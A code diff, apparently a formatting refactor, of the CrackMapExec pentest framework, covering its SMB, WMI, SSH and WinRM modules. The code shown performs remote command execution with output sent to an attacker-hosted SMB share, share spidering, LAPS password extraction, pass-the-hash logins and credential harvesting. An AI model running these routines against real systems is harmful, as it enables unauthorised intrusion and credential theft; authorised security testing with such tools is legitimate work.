with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'rb') as output:
|
||||
with open(os.path.join("/tmp", "cme_hosted", self.__output), "rb") as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except IOError:
|
||||
|
@ -185,9 +186,9 @@ class SMBEXEC:
|
|||
self.__scmr.connect()
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
self.__scHandle = resp["lpScHandle"]
|
||||
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
|
||||
service = resp['lpServiceHandle']
|
||||
service = resp["lpServiceHandle"]
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
|
|
|
@ -25,9 +25,9 @@ class SMBSpider:
|
|||
def spider(self, share, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, onlyfiles=True):
|
||||
if regex:
|
||||
try:
|
||||
self.regex = [re.compile(bytes(rx,'utf8')) for rx in regex]
|
||||
self.regex = [re.compile(bytes(rx, "utf8")) for rx in regex]
|
||||
except Exception as e:
|
||||
self.logger.error('Regex compilation error: {}'.format(e))
|
||||
self.logger.error(f"Regex compilation error: {e}")
|
||||
|
||||
self.folder = folder
|
||||
self.pattern = pattern
|
||||
|
@ -40,40 +40,40 @@ class SMBSpider:
|
|||
permissions = []
|
||||
try:
|
||||
for share in self.smbconnection.listShares():
|
||||
share_name = share['shi1_netname'][:-1]
|
||||
share_remark = share['shi1_remark'][:-1]
|
||||
share_name = share["shi1_netname"][:-1]
|
||||
share_remark = share["shi1_remark"][:-1]
|
||||
try:
|
||||
self.smbconnection.listPath(share_name, '*')
|
||||
self.smbconnection.listPath(share_name, "*")
|
||||
self.share = share_name
|
||||
self.logger.display("Spidering share: {0}".format(share_name))
|
||||
self.logger.display(f"Spidering share: {share_name}")
|
||||
self._spider(folder, depth)
|
||||
except SessionError:
|
||||
pass
|
||||
except Exception as e:
|
||||
self.logger.error('Error enumerating shares: {}'.format(e))
|
||||
self.logger.error(f"Error enumerating shares: {e}")
|
||||
else:
|
||||
self.share = share
|
||||
self.logger.display("Spidering {0}".format(folder))
|
||||
self.logger.display(f"Spidering {folder}")
|
||||
self._spider(folder, depth)
|
||||
|
||||
return self.results
|
||||
|
||||
def _spider(self, subfolder, depth):
|
||||
"""
|
||||
Abondon all hope ye who enter here.
|
||||
You're now probably wondering if I was drunk and/or high when writing this.
|
||||
Getting this to work took a toll on my sanity. So yes. a lot.
|
||||
Abandon all hope ye who enter here.
|
||||
You're now probably wondering if I was drunk and/or high when writing this.
|
||||
Getting this to work took a toll on my sanity. So yes. a lot.
|
||||
"""
|
||||
|
||||
# The following is some funky shit that deals with the way impacket treats file paths
|
||||
|
||||
if subfolder in ['', '.']:
|
||||
subfolder = '*'
|
||||
if subfolder in ["", "."]:
|
||||
subfolder = "*"
|
||||
|
||||
elif subfolder.startswith('*/'):
|
||||
subfolder = subfolder[2:] + '/*'
|
||||
elif subfolder.startswith("*/"):
|
||||
subfolder = subfolder[2:] + "/*"
|
||||
else:
|
||||
subfolder = subfolder.replace('/*/', '/') + '/*'
|
||||
subfolder = subfolder.replace("/*/", "/") + "/*"
|
||||
|
||||
# End of the funky shit... or is it? Surprise! This whole thing is funky
|
||||
|
||||
|
@ -85,48 +85,53 @@ class SMBSpider:
|
|||
return
|
||||
except SessionError as e:
|
||||
if not filelist:
|
||||
if 'STATUS_ACCESS_DENIED' not in str(e):
|
||||
self.logger.debug("Failed listing files on share {} in directory {}: {}".format(self.share, subfolder, e))
|
||||
if "STATUS_ACCESS_DENIED" not in str(e):
|
||||
self.logger.debug(f"Failed listing files on share {self.share} in directory {subfolder}: {e}")
|
||||
return
|
||||
|
||||
for result in filelist:
|
||||
if result.is_directory() and result.get_longname() not in ['.','..']:
|
||||
if subfolder == '*':
|
||||
self._spider(subfolder.replace('*', '') + result.get_longname(), depth-1 if depth else None)
|
||||
elif subfolder != '*' and (subfolder[:-2].split('/')[-1] not in self.exclude_dirs):
|
||||
self._spider(subfolder.replace('*', '') + result.get_longname(), depth-1 if depth else None)
|
||||
if result.is_directory() and result.get_longname() not in [".", ".."]:
|
||||
if subfolder == "*":
|
||||
self._spider(subfolder.replace("*", '') + result.get_longname(), depth - 1 if depth else None)
|
||||
elif subfolder != "*" and (subfolder[:-2].split("/")[-1] not in self.exclude_dirs):
|
||||
self._spider(subfolder.replace("*", "") + result.get_longname(), depth - 1 if depth else None)
|
||||
return
|
||||
|
||||
def dir_list(self, files, path):
|
||||
path = path.replace('*', '')
|
||||
path = path.replace("*", "")
|
||||
for result in files:
|
||||
if self.pattern:
|
||||
for pattern in self.pattern:
|
||||
if bytes(result.get_longname().lower(),'utf8').find(bytes(pattern.lower(),'utf8')) != -1:
|
||||
if bytes(result.get_longname().lower(), "utf8").find(bytes(pattern.lower(), "utf8")) != -1:
|
||||
if not self.onlyfiles and result.is_directory():
|
||||
self.logger.highlight(u"//{}/{}/{}{} [dir]".format(self.smbconnection.getRemoteHost(), self.share,
|
||||
path,
|
||||
result.get_longname()))
|
||||
self.logger.highlight(
|
||||
f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]"
|
||||
)
|
||||
else:
|
||||
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{}]".format(self.smbconnection.getRemoteHost(), self.share,
|
||||
path,
|
||||
result.get_longname(),
|
||||
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
|
||||
result.get_filesize()))
|
||||
self.results.append('{}{}'.format(path, result.get_longname()))
|
||||
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{}]".format(
|
||||
self.smbconnection.getRemoteHost(),
|
||||
self.share,
|
||||
path,
|
||||
result.get_longname(),
|
||||
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
|
||||
result.get_filesize()))
|
||||
self.results.append(f"{path}{result.get_longname()}")
|
||||
if self.regex:
|
||||
for regex in self.regex:
|
||||
if regex.findall(bytes(result.get_longname(), 'utf8')):
|
||||
if not self.onlyfiles and result.is_directory():
|
||||
self.logger.highlight(u"//{}/{}/{}{} [dir]".format(self.smbconnection.getRemoteHost(), self.share, path, result.get_longname()))
|
||||
self.logger.highlight(
|
||||
f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]"
|
||||
)
|
||||
else:
|
||||
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{}]".format(self.smbconnection.getRemoteHost(), self.share,
|
||||
path,
|
||||
result.get_longname(),
|
||||
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
|
||||
result.get_filesize()))
|
||||
|
||||
self.results.append('{}{}'.format(path, result.get_longname()))
|
||||
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{}]".format(
|
||||
self.smbconnection.getRemoteHost(),
|
||||
self.share,
|
||||
path,
|
||||
result.get_longname(),
|
||||
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
|
||||
result.get_filesize()))
|
||||
self.results.append(f"{path}{result.get_longname()}")
|
||||
|
||||
if self.content:
|
||||
if not result.is_directory():
|
||||
|
@ -135,7 +140,7 @@ class SMBSpider:
|
|||
return
|
||||
|
||||
def search_content(self, path, result):
|
||||
path = path.replace('*', '')
|
||||
path = path.replace("*", '')
|
||||
try:
|
||||
rfile = RemoteFile(self.smbconnection, path + result.get_longname(), self.share, access=FILE_READ_DATA)
|
||||
rfile.open()
|
||||
|
@ -146,7 +151,7 @@ class SMBSpider:
|
|||
if not contents:
|
||||
break
|
||||
except SessionError as e:
|
||||
if 'STATUS_END_OF_FILE' in str(e):
|
||||
if "STATUS_END_OF_FILE" in str(e):
|
||||
break
|
||||
|
||||
except Exception:
|
||||
|
@ -154,34 +159,36 @@ class SMBSpider:
|
|||
break
|
||||
if self.pattern:
|
||||
for pattern in self.pattern:
|
||||
if contents.lower().find(bytes(pattern.lower(),'utf8')) != -1:
|
||||
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format(self.smbconnection.getRemoteHost(),
|
||||
self.share,
|
||||
path,
|
||||
result.get_longname(),
|
||||
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
|
||||
result.get_filesize(),
|
||||
rfile.tell(),
|
||||
pattern))
|
||||
self.results.append('{}{}'.format(path, result.get_longname()))
|
||||
if contents.lower().find(bytes(pattern.lower(), "utf8")) != -1:
|
||||
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format(
|
||||
self.smbconnection.getRemoteHost(),
|
||||
self.share,
|
||||
path,
|
||||
result.get_longname(),
|
||||
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
|
||||
result.get_filesize(),
|
||||
rfile.tell(),
|
||||
pattern))
|
||||
self.results.append(f"{path}{result.get_longname()}")
|
||||
if self.regex:
|
||||
for regex in self.regex:
|
||||
if regex.findall(contents):
|
||||
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format(self.smbconnection.getRemoteHost(),
|
||||
self.share,
|
||||
path,
|
||||
result.get_longname(),
|
||||
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
|
||||
result.get_filesize(),
|
||||
rfile.tell(),
|
||||
regex.pattern))
|
||||
self.results.append('{}{}'.format(path, result.get_longname()))
|
||||
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format(
|
||||
self.smbconnection.getRemoteHost(),
|
||||
self.share,
|
||||
path,
|
||||
result.get_longname(),
|
||||
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
|
||||
result.get_filesize(),
|
||||
rfile.tell(),
|
||||
regex.pattern))
|
||||
self.results.append(f"{path}{result.get_longname()}")
|
||||
|
||||
rfile.close()
|
||||
return
|
||||
|
||||
except SessionError as e:
|
||||
if 'STATUS_SHARING_VIOLATION' in str(e):
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
pass
|
||||
|
||||
except Exception:
|
||||
|
@ -190,7 +197,7 @@ class SMBSpider:
|
|||
def get_lastm_time(self, result_obj):
|
||||
lastm_time = None
|
||||
try:
|
||||
lastm_time = strftime('%Y-%m-%d %H:%M', localtime(result_obj.get_mtime_epoch()))
|
||||
lastm_time = strftime("%Y-%m-%d %H:%M", localtime(result_obj.get_mtime_epoch()))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
|
|
@ -78,22 +78,22 @@ class WMIEXEC:
|
|||
def execute_handler(self, data):
|
||||
if self.__retOutput:
|
||||
try:
|
||||
self.logger.debug('Executing remote')
|
||||
self.logger.debug("Executing remote")
|
||||
self.execute_remote(data)
|
||||
except:
|
||||
self.cd('\\')
|
||||
self.cd("\\")
|
||||
self.execute_remote(data)
|
||||
else:
|
||||
self.execute_remote(data)
|
||||
|
||||
def execute_remote(self, data):
|
||||
self.__output = '\\Windows\\Temp\\' + gen_random_string(6)
|
||||
self.__output = "\\Windows\\Temp\\" + gen_random_string(6)
|
||||
|
||||
command = self.__shell + data
|
||||
if self.__retOutput:
|
||||
command += ' 1> ' + '%s' % self.__output + ' 2>&1'
|
||||
command += " 1> " + f"{self.__output}" + " 2>&1"
|
||||
|
||||
self.logger.debug('Executing command: ' + command)
|
||||
self.logger.debug("Executing command: " + command)
|
||||
self.__win32Process.Create(command, self.__pwd, None)
|
||||
self.get_output_remote()
|
||||
|
||||
|
@ -101,16 +101,16 @@ class WMIEXEC:
|
|||
self.__output = gen_random_string(6)
|
||||
local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
|
||||
|
||||
command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output)
|
||||
command = self.__shell + data + f" 1> \\\\{local_ip}\\{self.__share_name}\\{self.__output} 2>&1"
|
||||
|
||||
self.logger.debug('Executing command: ' + command)
|
||||
self.logger.debug("Executing command: " + command)
|
||||
self.__win32Process.Create(command, self.__pwd, None)
|
||||
self.get_output_fileless()
|
||||
|
||||
def get_output_fileless(self):
|
||||
while True:
|
||||
try:
|
||||
with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
|
||||
with open(os.path.join("/tmp", "cme_hosted", self.__output), "r") as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except IOError:
|
||||
|
@ -126,7 +126,7 @@ class WMIEXEC:
|
|||
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
||||
if str(e).find("STATUS_SHARING_VIOLATION") >=0:
|
||||
# Output not finished, let's wait
|
||||
sleep(2)
|
||||
pass
|
||||
|
|
|
@ -60,8 +60,8 @@ class ssh(connection):
|
|||
self.conn.close()
|
||||
|
||||
def check_if_admin(self):
|
||||
stdin, stdout, stderr = self.conn.exec_command('id')
|
||||
if stdout.read().decode('utf-8').find('uid=0(root)') != -1:
|
||||
stdin, stdout, stderr = self.conn.exec_command("id")
|
||||
if stdout.read().decode("utf-8").find("uid=0(root)") != -1:
|
||||
self.admin_privs = True
|
||||
|
||||
def plaintext_login(self, username, password):
|
||||
|
@ -90,21 +90,17 @@ class ssh(connection):
|
|||
|
||||
self.check_if_admin()
|
||||
self.logger.success(
|
||||
u'{}:{} {}'.format(
|
||||
u"{}:{} {}".format(
|
||||
username,
|
||||
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
|
||||
)
|
||||
)
|
||||
if not self.args.continue_on_success:
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.error(
|
||||
u'{}:{} {}'.format(
|
||||
username,
|
||||
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
e
|
||||
)
|
||||
f"{username}:{password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {e}"
|
||||
)
|
||||
self.client_close()
|
||||
return False
|
||||
|
@ -113,8 +109,8 @@ class ssh(connection):
|
|||
try:
|
||||
stdin, stdout, stderr = self.conn.exec_command(self.args.execute)
|
||||
except AttributeError:
|
||||
return ''
|
||||
self.logger.success('Executed command')
|
||||
return ""
|
||||
self.logger.success("Executed command")
|
||||
for line in stdout:
|
||||
self.logger.highlight(line.strip())
|
||||
|
||||
|
|
|
@ -80,26 +80,22 @@ class winrm(connection):
|
|||
# smb no open, specify the domain
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
self.logger.extra['hostname'] = self.hostname
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
else:
|
||||
try:
|
||||
smb_conn = SMBConnection(self.host, self.host, None, timeout=5)
|
||||
try:
|
||||
smb_conn.login('', '')
|
||||
smb_conn.login("", "")
|
||||
except SessionError as e:
|
||||
pass
|
||||
|
||||
self.domain = smb_conn.getServerDNSDomainName()
|
||||
self.hostname = smb_conn.getServerName()
|
||||
self.server_os = smb_conn.getServerOS()
|
||||
self.logger.extra['hostname'] = self.hostname
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
self.output_filename = os.path.expanduser(
|
||||
'~/.cme/logs/{}_{}_{}'.format(
|
||||
self.hostname,
|
||||
self.host,
|
||||
datetime.now().strftime("%Y-%m-%d_%H%M%S")
|
||||
)
|
||||
f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}"
|
||||
)
|
||||
|
||||
try:
|
||||
|
@ -107,7 +103,7 @@ class winrm(connection):
|
|||
except:
|
||||
pass
|
||||
except Exception as e:
|
||||
self.logger.error("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))
|
||||
self.logger.error(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
@ -116,32 +112,30 @@ class winrm(connection):
|
|||
self.domain = self.hostname
|
||||
|
||||
if self.server_os is None:
|
||||
self.server_os = ''
|
||||
self.server_os = ""
|
||||
if self.domain is None:
|
||||
self.domain = ''
|
||||
self.domain = ""
|
||||
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
|
||||
|
||||
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(
|
||||
self.hostname,
|
||||
self.host,
|
||||
datetime.now().strftime("%Y-%m-%d_%H%M%S")
|
||||
))
|
||||
self.output_filename = os.path.expanduser(
|
||||
f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}"
|
||||
)
|
||||
self.output_filename = self.output_filename.replace(":", "-")
|
||||
|
||||
def laps_search(self, username, password, ntlm_hash, domain):
|
||||
ldap_conn = LDAPConnect(self.domain, "389", self.domain)
|
||||
login = ldap_conn.plaintext_login(
|
||||
domain,
|
||||
username[0] if username else '',
|
||||
password[0] if password else '',
|
||||
ntlm_hash[0] if ntlm_hash else ''
|
||||
username[0] if username else "",
|
||||
password[0] if password else "",
|
||||
ntlm_hash[0] if ntlm_hash else ""
|
||||
)
|
||||
if not login:
|
||||
self.logger.debug(f"LAPS login failed with account {username}")
|
||||
return False
|
||||
search_filter = f"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name='{self.hostname}))"
|
||||
attributes = ['ms-MCS-AdmPwd', 'samAccountname']
|
||||
attributes = ["ms-MCS-AdmPwd", "samAccountname"]
|
||||
result = login.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=attributes,
|
||||
|
@ -153,41 +147,41 @@ class winrm(connection):
|
|||
for item in result:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
for host in item['attributes']:
|
||||
if str(host['type']) == "sAMAccountName":
|
||||
sAMAccountName = str(host['vals'][0])
|
||||
for host in item["attributes"]:
|
||||
if str(host["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(host["vals"][0])
|
||||
else:
|
||||
msMCSAdmPwd = str(host['vals'][0])
|
||||
self.logger.debug("Host: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname))
|
||||
msMCSAdmPwd = str(host["vals"][0])
|
||||
self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
|
||||
self.username = self.args.laps
|
||||
self.password = msMCSAdmPwd
|
||||
if msMCSAdmPwd == '':
|
||||
self.logger.debug('msMCSAdmPwd is empty, account cannot read LAPS property for {}'.format(self.hostname))
|
||||
self.logger.debug(f"msMCSAdmPwd is empty, account cannot read LAPS property for {self.hostname}")
|
||||
return False
|
||||
if ntlm_hash:
|
||||
hash_ntlm = hashlib.new('md4', msMCSAdmPwd.encode('utf-16le')).digest()
|
||||
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
|
||||
self.hash = binascii.hexlify(hash_ntlm).decode()
|
||||
self.domain = self.hostname
|
||||
return True
|
||||
|
||||
def print_host_info(self):
|
||||
if self.args.domain:
|
||||
self.logger.extra['protocol'] = "HTTP"
|
||||
self.logger.extra["protocol"] = "HTTP"
|
||||
self.logger.display(self.endpoint)
|
||||
else:
|
||||
self.logger.extra['protocol'] = "SMB"
|
||||
self.logger.display(u"{} (name:{}) (domain:{})".format(self.server_os, self.hostname, self.domain))
|
||||
self.logger.extra['protocol'] = "HTTP"
|
||||
self.logger.extra["protocol"] = "SMB"
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
self.logger.extra["protocol"] = "HTTP"
|
||||
self.logger.display(self.endpoint)
|
||||
self.logger.extra['protocol'] = "WINRM"
|
||||
self.logger.extra["protocol"] = "WINRM"
|
||||
if self.args.laps:
|
||||
return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
|
||||
return True
|
||||
|
||||
def create_conn_obj(self):
|
||||
endpoints = [
|
||||
'https://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5986),
|
||||
'http://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5985)
|
||||
f"https://{self.host}:{self.args.port if self.args.port else 5986}/wsman",
|
||||
f"http://{self.host}:{self.args.port if self.args.port else 5985}/wsman"
|
||||
]
|
||||
|
||||
for url in endpoints:
|
||||
|
@ -223,7 +217,7 @@ class winrm(connection):
|
|||
self.conn = Client(
|
||||
self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(domain, self.username),
|
||||
username=f"{domain}\\{self.username}",
|
||||
password=self.password,
|
||||
ssl=True,
|
||||
cert_validation=False
|
||||
|
@ -232,7 +226,7 @@ class winrm(connection):
|
|||
self.conn = Client(
|
||||
self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(domain, self.username),
|
||||
username=f'{domain}\\{self.username}',
|
||||
password=self.password,
|
||||
ssl=True
|
||||
)
|
||||
|
@ -240,7 +234,7 @@ class winrm(connection):
|
|||
self.conn = Client(
|
||||
self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(domain, self.username),
|
||||
username=f'{domain}\\{self.username}',
|
||||
password=self.password,
|
||||
ssl=False
|
||||
)
|
||||
|
@ -250,12 +244,7 @@ class winrm(connection):
|
|||
self.conn.execute_ps("hostname")
|
||||
self.admin_privs = True
|
||||
self.logger.success(
|
||||
u'{}\\{}:{} {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
)
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
|
||||
)
|
||||
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
|
@ -266,7 +255,7 @@ class winrm(connection):
|
|||
|
||||
if self.admin_privs:
|
||||
self.logger.debug(f"Inside admin privs")
|
||||
self.db.add_admin_user('plaintext', domain, self.username, self.password, self.host) # , user_id=user_id)
|
||||
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id)
|
||||
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
|
@ -275,20 +264,11 @@ class winrm(connection):
|
|||
except Exception as e:
|
||||
if "with ntlm" in str(e):
|
||||
self.logger.error(
|
||||
u'{}\\{}:{}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8
|
||||
)
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}"
|
||||
)
|
||||
else:
|
||||
self.logger.error(
|
||||
u'{}\\{}:{} "{}"'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
|
||||
e
|
||||
)
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} \"{e}\""
|
||||
)
|
||||
|
||||
return False
|
||||
|
@ -320,7 +300,7 @@ class winrm(connection):
|
|||
self.conn = Client(
|
||||
self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(self.domain, self.username),
|
||||
username=f"{self.domain}\\{self.username}",
|
||||
password=lmhash + nthash,
|
||||
ssl=True,
|
||||
cert_validation=False
|
||||
|
@ -329,7 +309,7 @@ class winrm(connection):
|
|||
self.conn = Client(
|
||||
self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(self.domain, self.username),
|
||||
username=f"{self.domain}\\{self.username}",
|
||||
password=lmhash + nthash,
|
||||
ssl=True
|
||||
)
|
||||
|
@ -337,7 +317,7 @@ class winrm(connection):
|
|||
self.conn = Client(
|
||||
self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(self.domain, self.username),
|
||||
username=f"{self.domain}\\{self.username}",
|
||||
password=lmhash + nthash,
|
||||
ssl=False
|
||||
)
|
||||
|
@ -347,17 +327,12 @@ class winrm(connection):
|
|||
self.conn.execute_ps("hostname")
|
||||
self.admin_privs = True
|
||||
self.logger.success(
|
||||
u'{}\\{}:{} {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
)
|
||||
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
|
||||
)
|
||||
self.db.add_credential('hash', domain, self.username, nthash)
|
||||
self.db.add_credential("hash", domain, self.username, nthash)
|
||||
|
||||
if self.admin_privs:
|
||||
self.db.add_admin_user('hash', domain, self.username, nthash, self.host)
|
||||
self.db.add_admin_user("hash", domain, self.username, nthash, self.host)
|
||||
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
|
@ -367,20 +342,11 @@ class winrm(connection):
|
|||
except Exception as e:
|
||||
if "with ntlm" in str(e):
|
||||
self.logger.error(
|
||||
u'{}\\{}:{}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8
|
||||
)
|
||||
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}"
|
||||
)
|
||||
else:
|
||||
self.logger.error(
|
||||
u'{}\\{}:{} "{}"'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
e
|
||||
)
|
||||
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} \"{e}\""
|
||||
)
|
||||
return False
|
||||
|
||||
|
@ -388,9 +354,11 @@ class winrm(connection):
|
|||
try:
|
||||
r = self.conn.execute_cmd(self.args.execute)
|
||||
except:
|
||||
self.logger.info('Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !')
|
||||
self.logger.info(
|
||||
"Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !"
|
||||
)
|
||||
r = self.conn.execute_ps(self.args.execute)
|
||||
self.logger.success('Executed command')
|
||||
self.logger.success("Executed command")
|
||||
self.logger.highlight(r[0])
|
||||
|
||||
def ps_execute(self, payload=None, get_output=False):
|
||||
|
|
|
@ -44,7 +44,7 @@ class RequestHandler(BaseHTTPRequestHandler):
|
|||
|
||||
class CMEServer(threading.Thread):
|
||||
|
||||
def __init__(self, module, context, logger, srv_host, port, server_type='https'):
|
||||
def __init__(self, module, context, logger, srv_host, port, server_type="https"):
|
||||
try:
|
||||
threading.Thread.__init__(self)
|
||||
|
||||
|
@ -52,8 +52,8 @@ class CMEServer(threading.Thread):
|
|||
self.server.hosts = []
|
||||
self.server.module = module
|
||||
self.server.context = context
|
||||
self.server.log = CMEAdapter(extra={'module_name': self.server.module.name.upper()})
|
||||
self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
|
||||
self.server.log = CMEAdapter(extra={"module_name": self.server.module.name.upper()})
|
||||
self.cert_path = os.path.join(os.path.expanduser("~/.cme"), "cme.pem")
|
||||
self.server.track_host = self.track_host
|
||||
|
||||
logger.debug('CME server type: ' + server_type)
|
||||
|
@ -63,9 +63,11 @@ class CMEServer(threading.Thread):
|
|||
except Exception as e:
|
||||
errno, message = e.args
|
||||
if errno == 98 and message == 'Address already in use':
|
||||
logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
|
||||
logger.error(
|
||||
"Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port"
|
||||
)
|
||||
else:
|
||||
logger.error('Error starting HTTP(S) server: {}'.format(message))
|
||||
logger.error(f"Error starting HTTP(S) server: {message}")
|
||||
|
||||
sys.exit(1)
|
||||
|
||||
|
@ -84,7 +86,7 @@ class CMEServer(threading.Thread):
|
|||
def shutdown(self):
|
||||
try:
|
||||
while len(self.server.hosts) > 0:
|
||||
self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts))))
|
||||
self.server.log.info(f"Waiting on {highlight(len(self.server.hosts))} host(s)")
|
||||
sleep(15)
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
|
|
@ -8,7 +8,7 @@ from impacket import smbserver
|
|||
|
||||
class CMESMBServer(threading.Thread):
|
||||
|
||||
def __init__(self, logger, share_name, share_path='/tmp/cme_hosted', listen_address='0.0.0.0', listen_port=445, verbose=False):
|
||||
def __init__(self, logger, share_name, share_path="/tmp/cme_hosted", listen_address="0.0.0.0", listen_port=445, verbose=False):
|
||||
try:
|
||||
threading.Thread.__init__(self)
|
||||
self.server = smbserver.SimpleSMBServer(listen_address, listen_port)
|
